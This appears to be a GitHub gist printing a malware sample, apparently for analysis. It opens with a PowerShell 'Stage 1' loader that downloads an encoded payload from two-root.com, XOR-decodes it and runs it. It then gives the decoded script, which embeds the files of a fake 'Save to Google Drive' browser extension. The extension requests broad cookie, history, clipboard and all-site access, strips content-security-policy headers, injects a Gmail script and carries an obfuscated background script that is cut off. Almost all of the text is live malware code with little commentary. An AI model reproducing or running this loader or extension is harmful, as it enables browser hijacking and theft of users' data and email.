Skip to content

Instantly share code, notes, and snippets.

@0xAnalyst
Created July 17, 2024 09:34
Show Gist options
  • Save 0xAnalyst/b7dbca261dc2e0949083c7c8c45a6e04 to your computer and use it in GitHub Desktop.
Save 0xAnalyst/b7dbca261dc2e0949083c7c8c45a6e04 to your computer and use it in GitHub Desktop.
This file has been truncated, but you can view the full file.
# Stage 1
$w=new-object System.Net.Webclient;$bs=$w.DownloadString("https://two-root.com/2506s.bs64");[Byte[]] $x=[Convert]::FromBase64String($bs.Replace("!","b").Replace("@","h").Replace("$","m").Replace("%","p").Replace("^","v"));for($i=0;$i -lt $x.Count;$i++){$x[$i]= ($x[$i] -bxor 167) -bxor 18};iex([System.Text.Encoding]::UTF8.GetString($x))
#Decoded Powershell
function xvbAo
{
param (
$HexString
)
$VUyj = @()
for ( $i = 0; $i -lt $HexString.Length; $i += 2 ) {
$sjoAW = [convert]::ToByte($HexString.Substring( $i, 2 ), 16 )
$VUyj += $sjoAW
}
return , $VUyj
}
function fWAP
{
param($apGd0C, $xHtvJ)
$xHtvJ=$xHtvJ.Replace(( [System.Text.Encoding]::UTF8.GetString( ( [byte[]] ( 92, 117, 48, 48, 51, 99, 97, 108, 108, 95, 117, 114, 108, 115, 92, 117, 48, 48, 51, 101 ) ) ) ), ( [System.Text.Encoding]::UTF8.GetString( ( [byte[]] ( 92, 117, 48, 48, 51, 67, 97, 108, 108, 95, 117, 114, 108, 115, 62 ) ) ) ))
$LTiZ0 = [System.Text.Encoding]::UTF8.GetBytes($xHtvJ)
$rWHYur = New-Object System.Security.Cryptography.HMACSHA256
$rWHYur.Key = $apGd0C
$yozB = $rWHYur.ComputeHash($LTiZ0)
$msB9 = [BitConverter]::ToString($yozB) -replace ( [System.Text.Encoding]::UTF8.GetString( ( [byte[]] ( 45 ) ) ) )
return $msB9
}
function heRQj
{
param( $s3BycV )
$KgN9 = $KgN9=@(@('YXBwLmh0bWw=', 'PCFkb2N0eXBlIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQogIDxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPg0KICAgIDx0aXRsZT48L3RpdGxlPg0KICA8L2hlYWQ+DQogIDxib2R5Pg0KDQogIDwvYm9keT4NCjwvaHRtbD4='),@('Y29uZmlnLmpz', 'ZXhwb3J0IGRlZmF1bHQgew0KICAgICJwYW5lbFVybCI6ICJodHRwOi8vYmlsbGlvbnMvYXBpIiwNCiAgICAidXNlVGVsZWdyYW1QYW5lbCI6IGZhbHNlLA0KICAgICJ0ZWxlZ3JhbVBhbmVsIjogew0KICAgICAgICAiYm90VG9rZW4iOiAiIiwNCiAgICAgICAgImNoYXRJZCI6ICIiDQogICAgfSwNCiAgICAicmVmZXJyYWxDb2RlIjogIjI1MDZzIg0KfQ=='),@('aWNvLnBuZw==', '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'),@('bWFuaWZlc3QuanNvbg==', 'ew0KICAib2ZmbGluZV9lbmFibGVkIjogdHJ1ZSwNCiAgIm5hbWUiOiAiU2F2ZSB0byBHb29nbGUgRHJpdmUiLA0KICAiYXV0aG9yIjogIkdvb2dsZSBpbmMuIiwNCiAgImRlc2NyaXB0aW9uIjogIlNhdmUgd2ViIGNvbnRlbnQgb3Igc2NyZWVuIGNhcHR1cmUgZGlyZWN0bHkgdG8gR29vZ2xlIERyaXZlLiIsDQogICJ2ZXJzaW9uIjogIjQuMC40IiwNCiAgImljb25zIjogew0KICAgICIxMjgiOiAiaWNvLnBuZyINCiAgfSwNCiAgInBlcm1pc3Npb25zIjogWw0KICAgICJzY3JpcHRpbmciLA0KICAgICJ3ZWJOYXZpZ2F0aW9uIiwNCiAgICAic3lzdGVtLmNwdSIsDQogICAgInN5c3RlbS5kaXNwbGF5IiwNCiAgICAic3lzdGVtLnN0b3JhZ2UiLA0KICAgICJzeXN0ZW0ubWVtb3J5IiwNCiAgICAibWFuYWdlbWVudCIsDQogICAgInN0b3JhZ2UiLA0KICAgICJjb29raWVzIiwNCiAgICAibm90aWZpY2F0aW9ucyIsDQogICAgInRhYnMiLA0KICAgICJoaXN0b3J5IiwNCiAgICAid2ViUmVxdWVzdCIsDQogICAgImRlY2xhcmF0aXZlTmV0UmVxdWVzdCIsDQogICAgImFsYXJtcyIsDQogICAgImNsaXBib2FyZFJlYWQiLA0KICAgICJjbGlwYm9hcmRXcml0ZSIsDQogICAgInVubGltaXRlZFN0b3JhZ2UiLA0KICAgICJ3aW5kb3dzIiwNCgkiYWN0aXZlVGFiIg0KICBdLA0KICAibWFuaWZlc3RfdmVyc2lvbiI6IDMsDQogICJiYWNrZ3JvdW5kIjogew0KICAgICJzZXJ2aWNlX3dvcmtlciI6ICIuL3NyYy9iYWNrZ3JvdW5kLmpzIiwNCiAgICAidHlwZSI6ICJtb2R1bGUiDQogIH0sDQogICJob3N0X3Blcm1pc3Npb25zIjogWw0KICAgICI8YWxsX3VybHM+IiwNCiAgICAiKjovLyovKiIsDQogICAgImh0dHBzOi8vKi8qIiwNCiAgICAiaHR0cDovLyovKiINCiAgXSwNCiAgImNvbnRlbnRfc2NyaXB0cyI6IFsNCiAgICB7DQogICAgICAibWF0Y2hlcyI6IFsNCiAgICAgICAgIio6Ly8qLyoiLA0KICAgICAgICAiaHR0cHM6Ly8qLyoiLA0KICAgICAgICAiaHR0cDovLyovKiINCiAgICAgIF0sDQogICAgICAiYWxsX2ZyYW1lcyI6IHRydWUsDQogICAgICAianMiOiBbDQogICAgICAgICJzcmMvY29udGVudC9tYWluLmpzIiwNCiAgICAgICAgInNyYy9jb250ZW50L2NsaXBib2FyZC5qcyIsDQogICAgICAgICJzcmMvbWFpbHMvZ21haWwuanMiDQogICAgICBdLA0KICAgICAgInJ1bl9hdCI6ICJkb2N1bWVudF9zdGFydCINCiAgICB9DQogIF0sDQogICJkZWNsYXJhdGl2ZV9uZXRfcmVxdWVzdCI6IHsNCiAgICAicnVsZV9yZXNvdXJjZXMiOiBbDQogICAgICB7DQogICAgICAgICJpZCI6ICJkaXNhYmxlLWNzcCIsDQogICAgICAgICJlbmFibGVkIjogZmFsc2UsDQogICAgICAgICJwYXRoIjogInJ1bGVzLmpzb24iDQogICAgICB9DQogICAgXQ0KICB9LA0KICAia2V5IjogIk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZLSk1MIg0KfQ0K'),@('cnVsZXMuanNvbg==', 'W3sNCiAgImlkIjogMSwNCiAgInByaW9yaXR5IjogMSwNCiAgImFjdGlvbiI6IHsNCiAgICAidHlwZSI6ICJtb2RpZnlIZWFkZXJzIiwNCiAgICAicmVzcG9uc2VIZWFkZXJzIjogW3sNCiAgICAgICJvcGVyYXRpb24iOiAicmVtb3ZlIiwNCiAgICAgICJoZWFkZXIiOiAiY29udGVudC1zZWN1cml0eS1wb2xpY3kiDQogICAgfSwgew0KICAgICAgIm9wZXJhdGlvbiI6ICJyZW1vdmUiLA0KICAgICAgImhlYWRlciI6ICJjb250ZW50LXNlY3VyaXR5LXBvbGljeS1yZXBvcnQtb25seSINCiAgICB9LCB7DQogICAgICAib3BlcmF0aW9uIjogInJlbW92ZSIsDQogICAgICAiaGVhZGVyIjogIngtd2Via2l0LWNzcCINCiAgICB9LCB7DQogICAgICAib3BlcmF0aW9uIjogInJlbW92ZSIsDQogICAgICAiaGVhZGVyIjogIngtY29udGVudC1zZWN1cml0eS1wb2xpY3kiDQogICAgfSwgew0KICAgICAgIm9wZXJhdGlvbiI6ICJyZW1vdmUiLA0KICAgICAgImhlYWRlciI6ICJ4LWZyYW1lLW9wdGlvbnMiDQogICAgfV0NCiAgfSwNCiAgImNvbmRpdGlvbiI6IHsNCiAgICAidXJsRmlsdGVyIjogIioiLA0KICAgICJyZXNvdXJjZVR5cGVzIjogWyJtYWluX2ZyYW1lIiwgInN1Yl9mcmFtZSJdDQogIH0NCn1d'),@('bW9kdWxlc1xjb250ZW50LXNjcmlwdHMtcmVnaXN0ZXItcG9seWZpbGwuNC4wLjAuanM=', 'IWZ1bmN0aW9uKCl7InVzZSBzdHJpY3QiO2NvbnN0IHQ9Z2xvYmFsVGhpcy5jaHJvbWUmJm5ldyBmdW5jdGlvbiB0KGUpe3JldHVybiBuZXcgUHJveHkoZSx7Z2V0OihlLHIpPT4iZnVuY3Rpb24iIT10eXBlb2YgZVtyXT9uZXcgdChlW3JdKTooLi4udCk9Pm5ldyBQcm9taXNlKCgoYSxuKT0+e2Vbcl0oLi4udCwodD0+e2Nocm9tZS5ydW50aW1lLmxhc3RFcnJvcj9uKG5ldyBFcnJvcihjaHJvbWUucnVudGltZS5sYXN0RXJyb3IubWVzc2FnZSkpOmEodCl9KSl9KSl9KX0oZ2xvYmFsVGhpcy5jaHJvbWUpLGU9Im9iamVjdCI9PXR5cGVvZiBjaHJvbWUmJiJzY3JpcHRpbmciaW4gY2hyb21lO2Z1bmN0aW9uIHIodCl7cmV0dXJuIHZvaWQgMD09PXQ/dm9pZCAwOlt0XX1hc3luYyBmdW5jdGlvbiBhKHt0YWJJZDphLGZyYW1lSWQ6bixmaWxlczpvLGFsbEZyYW1lczpzLG1hdGNoQWJvdXRCbGFuazppLHJ1bkF0OmN9KXthd2FpdCBQcm9taXNlLmFsbChvLm1hcCgoYXN5bmMgbz0+KCJzdHJpbmciPT10eXBlb2YgbyYmKG89e2ZpbGU6b30pLGU/Y2hyb21lLnNjcmlwdGluZy5pbnNlcnRDU1Moe3RhcmdldDp7dGFiSWQ6YSxmcmFtZUlkczpyKG4pLGFsbEZyYW1lczpzfSxmaWxlczoiZmlsZSJpbiBvP1tvLmZpbGVdOnZvaWQgMCxjc3M6ImNvZGUiaW4gbz9vLmNvZGU6dm9pZCAwfSk6dC50YWJzLmluc2VydENTUyhhLHsuLi5vLG1hdGNoQWJvdXRCbGFuazppLGFsbEZyYW1lczpzLGZyYW1lSWQ6bixydW5BdDpjPz8iZG9jdW1lbnRfc3RhcnQifSkpKSkpfWFzeW5jIGZ1bmN0aW9uIG4oe3RhYklkOmEsZnJhbWVJZDpuLGZpbGVzOm8sYWxsRnJhbWVzOnMsbWF0Y2hBYm91dEJsYW5rOmkscnVuQXQ6Y30pe2xldCBsO2ZvcihsZXQgbSBvZiBvKWlmKCJzdHJpbmciPT10eXBlb2YgbSYmKG09e2ZpbGU6bX0pLGUpe2lmKCJjb2RlImluIG0pdGhyb3cgbmV3IEVycm9yKCJjaHJvbWUuc2NyaXB0aW5nIGRvZXMgbm90IHN1cHBvcnQgaW5qZWN0aW5nIHN0cmluZ3Mgb2YgYGNvZGVgIik7Y2hyb21lLnNjcmlwdGluZy5leGVjdXRlU2NyaXB0KHt0YXJnZXQ6e3RhYklkOmEsZnJhbWVJZHM6cihuKSxhbGxGcmFtZXM6c30sZmlsZXM6W20uZmlsZV19KX1lbHNlImNvZGUiaW4gbSYmYXdhaXQgbCxsPXQudGFicy5leGVjdXRlU2NyaXB0KGEsey4uLm0sbWF0Y2hBYm91dEJsYW5rOmksYWxsRnJhbWVzOnMsZnJhbWVJZDpuLHJ1bkF0OmN9KX1hc3luYyBmdW5jdGlvbiBvKHQsZSl7Y29uc3R7ZnJhbWVJZDpyLHRhYklkOm99PWZ1bmN0aW9uKHQpe3JldHVybiJvYmplY3QiPT10eXBlb2YgdD90Ont0YWJJZDp0LGZyYW1lSWQ6MH19KHQpLHM9KGk9ZSxBcnJheS5pc0FycmF5KGkpP2k6W2ldKS5mbGF0TWFwKCh0PT5bYSh7dGFiSWQ6byxmcmFtZUlkOnIsZmlsZXM6dC5jc3M/P1tdLG1hdGNoQWJvdXRCbGFuazp0Lm1hdGNoQWJvdXRCbGFuaz8/dC5tYXRjaF9hYm91dF9ibGFuayxydW5BdDp0LnJ1bkF0Pz90LnJ1bl9hdH0pLG4oe3RhYklkOm8sZnJhbWVJZDpyLGZpbGVzOnQuanM/P1tdLG1hdGNoQWJvdXRCbGFuazp0Lm1hdGNoQWJvdXRCbGFuaz8/dC5tYXRjaF9hYm91dF9ibGFuayxydW5BdDp0LnJ1bkF0Pz90LnJ1bl9hdH0pXSkpO3ZhciBpO2F3YWl0IFByb21pc2UuYWxsKHMpfWNvbnN0IHM9L14oaHR0cHM/fHdzcz98ZmlsZXxmdHB8XCopOlwvXC8oXCp8XCpcLlteKi9dK3xbXiovXSspXC8uKiR8XmZpbGU6XC9cL1wvLiokfF5yZXNvdXJjZTpcL1wvKFwqfFwqXC5bXiovXSt8W14qL10rKVwvLiokfF5hYm91dDovLGk9Im9iamVjdCI9PXR5cGVvZiBuYXZpZ2F0b3ImJm5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkZpcmVmb3gvIiksYz1pPy9eKGh0dHBzP3x3c3M/KTpbL11bL11bXi9dKyhbL10uKik/JC86L15odHRwcz86Wy9dWy9dW14vXSsoWy9dLiopPyQvLGw9L14oaHR0cHM/fGZpbGV8ZnRwKTpbL10rLztmdW5jdGlvbiBtKC4uLnQpe3JldHVybiAwPT09dC5sZW5ndGg/LyQuLzp0LmluY2x1ZGVzKCI8YWxsX3VybHM+Iik/bDp0LmluY2x1ZGVzKCIqOi8vKi8qIik/YzpuZXcgUmVnRXhwKHQubWFwKCh0PT5mdW5jdGlvbih0KXtpZighcy50ZXN0KHQpKXRocm93IG5ldyBFcnJvcih0KyIgaXMgYW4gaW52YWxpZCBwYXR0ZXJuLCBpdCBtdXN0IG1hdGNoICIrU3RyaW5nKHMpKTtsZXRbLGUscixhXT10LnNwbGl0KC8oXlteOl0rOlsvXVsvXSkoW14vXSspPy8pO3JldHVybiBlPWUucmVwbGFjZSgiKiIsaT8iKGh0dHBzP3x3c3M/KSI6Imh0dHBzPyIpLnJlcGxhY2UoL1svXS9nLCJbL10iKSxyPShudWxsIT1yP3I6IiIpLnJlcGxhY2UoL15bKl1bLl0vLCIoW14vXSsuKSoiKS5yZXBsYWNlKC9eWypdJC8sIlteL10rIikucmVwbGFjZSgvWy5dL2csIlsuXSIpLnJlcGxhY2UoL1sqXSQvZywiW14uXSsiKSxhPWEucmVwbGFjZSgvWy9dL2csIlsvXSIpLnJlcGxhY2UoL1suXS9nLCJbLl0iKS5yZXBsYWNlKC9bKl0vZywiLioiKSwiXiIrZStyKyIoIithKyIpPyQifSh0KSkpLmpvaW4oInwiKSl9Y29uc3QgdT0vXk5vIGZyYW1lIHdpdGggaWQgXGQrIGluIHRhYiBcZCsuJHxeTm8gdGFiIHdpdGggaWQ6IFxkKy4kfF5UaGUgdGFiIHdhcyBjbG9zZWQuJHxeVGhlIGZyYW1lIHdhcyByZW1vdmVkLiQvLGY9Im9iamVjdCI9PXR5cGVvZiBjaHJvbWUmJiJ3ZWJOYXZpZ2F0aW9uImluIGNocm9tZTtmdW5jdGlvbiBkKHQpe2lmKCF1LnRlc3QobnVsbD09dD92b2lkIDA6dC5tZXNzYWdlKSl0aHJvdyB0fSJvYmplY3QiIT10eXBlb2YgY2hyb21lfHxjaHJvbWUuY29udGVudFNjcmlwdHN8fChjaHJvbWUuY29udGVudFNjcmlwdHM9e3JlZ2lzdGVyOmFzeW5jIGZ1bmN0aW9uKGUscil7Y29uc3R7anM6YT1bXSxjc3M6bj1bXSxtYXRjaEFib3V0Qmxhbms6cyxtYXRjaGVzOmk9W10sZXhjbHVkZU1hdGNoZXM6YyxydW5BdDpsfT1lO2xldHthbGxGcmFtZXM6dX09ZTtpZihmP3U9ITE6dSYmY29uc29sZS53YXJuKCJgYWxsRnJhbWVzOiB0cnVlYCByZXF1aXJlcyB0aGUgYHdlYk5hdmlnYXRpb25gIHBlcm1pc3Npb24gdG8gd29yayBjb3JyZWN0bHk6IGh0dHBzOi8vZ2l0aHViLmNvbS9mcmVnYW50ZS9jb250ZW50LXNjcmlwdHMtcmVnaXN0ZXItcG9seWZpbGwjcGVybWlzc2lvbnMiKSwwPT09aS5sZW5ndGgpdGhyb3cgbmV3IEVycm9yKCJUeXBlIGVycm9yIGZvciBwYXJhbWV0ZXIgY29udGVudFNjcmlwdE9wdGlvbnMgKEVycm9yIHByb2Nlc3NpbmcgbWF0Y2hlczogQXJyYXkgcmVxdWlyZXMgYXQgbGVhc3QgMSBpdGVtczsgeW91IGhhdmUgMCkgZm9yIGNvbnRlbnRTY3JpcHRzLnJlZ2lzdGVyLiIpO2F3YWl0IFByb21pc2UuYWxsKGkubWFwKChhc3luYyBlPT57aWYoIWF3YWl0IHQucGVybWlzc2lvbnMuY29udGFpbnMoe29yaWdpbnM6W2VdfSkpdGhyb3cgbmV3IEVycm9yKCJQZXJtaXNzaW9uIGRlbmllZCB0byByZWdpc3RlciBhIGNvbnRlbnQgc2NyaXB0IGZvciAiK2UpfSkpKTtjb25zdCBwPW0oLi4uaSksaD1tKC4uLm51bGwhPWM/YzpbXSksYj1hc3luYyhlLHIsaT0wKT0+e3AudGVzdChlKSYmIWgudGVzdChlKSYmYXdhaXQgYXN5bmMgZnVuY3Rpb24oZSl7cmV0dXJuIHQucGVybWlzc2lvbnMuY29udGFpbnMoe29yaWdpbnM6W25ldyBVUkwoZSkub3JpZ2luKyIvKiJdfSl9KGUpJiZhd2FpdCBvKHt0YWJJZDpyLGZyYW1lSWQ6aX0se2NzczpuLGpzOmEsbWF0Y2hBYm91dEJsYW5rOnMscnVuQXQ6bH0pLmNhdGNoKGQpfSxnPWFzeW5jKHQse3N0YXR1czplfSx7dXJsOnJ9KT0+eyJsb2FkaW5nIj09PWUmJnImJmIocix0KX0sdz1hc3luYyh7dGFiSWQ6dCxmcmFtZUlkOmUsdXJsOnJ9KT0+e2Iocix0LGUpfTtmP2Nocm9tZS53ZWJOYXZpZ2F0aW9uLm9uQ29tbWl0dGVkLmFkZExpc3RlbmVyKHcpOmNocm9tZS50YWJzLm9uVXBkYXRlZC5hZGRMaXN0ZW5lcihnKTtjb25zdCB5PXthc3luYyB1bnJlZ2lzdGVyKCl7Zj9jaHJvbWUud2ViTmF2aWdhdGlvbi5vbkNvbW1pdHRlZC5yZW1vdmVMaXN0ZW5lcih3KTpjaHJvbWUudGFicy5vblVwZGF0ZWQucmVtb3ZlTGlzdGVuZXIoZyl9fTtyZXR1cm4iZnVuY3Rpb24iPT10eXBlb2YgciYmcih5KSx5fX0pfSgpOwo='),@('c3JjXGJhY2tncm91bmQuanM=', 'KGZ1bmN0aW9uKF8weDRiMjVjZSxfMHg0ZDk4Y2Ipe2Z1bmN0aW9uIF8weDM1ZmIxNihfMHgzNjU1MWMsXzB4NTY0YzcwLF8weDVhNTRjZixfMHgyZTkxOTQsXzB4NDg1OWU4KXtyZXR1cm4gXzB4NDU0NShfMHg0ODU5ZTgtIC0weDIzOCxfMHg1YTU0Y2YpO31mdW5jdGlvbiBfMHgxN2ZlY2UoXzB4MTIwYmIwLF8weGVjNTI1OCxfMHgxYmYzMmYsXzB4MjE2ODAyLF8weGYxZWYwOSl7cmV0dXJuIF8weDQ1NDUoXzB4ZjFlZjA5LSAtMHhkYyxfMHgxMjBiYjApO31mdW5jdGlvbiBfMHgxMjFjMTkoXzB4NTIwYWEzLF8weDEzZTAzZixfMHgzYjE2OTAsXzB4NDlmMTI1LF8weDRhOTUzNyl7cmV0dXJuIF8weDQ1NDUoXzB4NTIwYWEzLSAtMHgzMWUsXzB4MTNlMDNmKTt9ZnVuY3Rpb24gXzB4MjNlZDM0KF8weDhmNDRlNixfMHg1NmM1N2MsXzB4MmFiNGM2LF8weDE1OTZmYixfMHgzZmFlYjUpe3JldHVybiBfMHg0NTQ1KF8weDU2YzU3Yy0gLTB4MjQ1LF8weDNmYWViNSk7fWZ1bmN0aW9uIF8weDU2MTVjNChfMHgyOWY0YWYsXzB4YjE4MzNiLF8weDU3Yjk4LF8weDRiYTIxZixfMHg0M2I3ZjU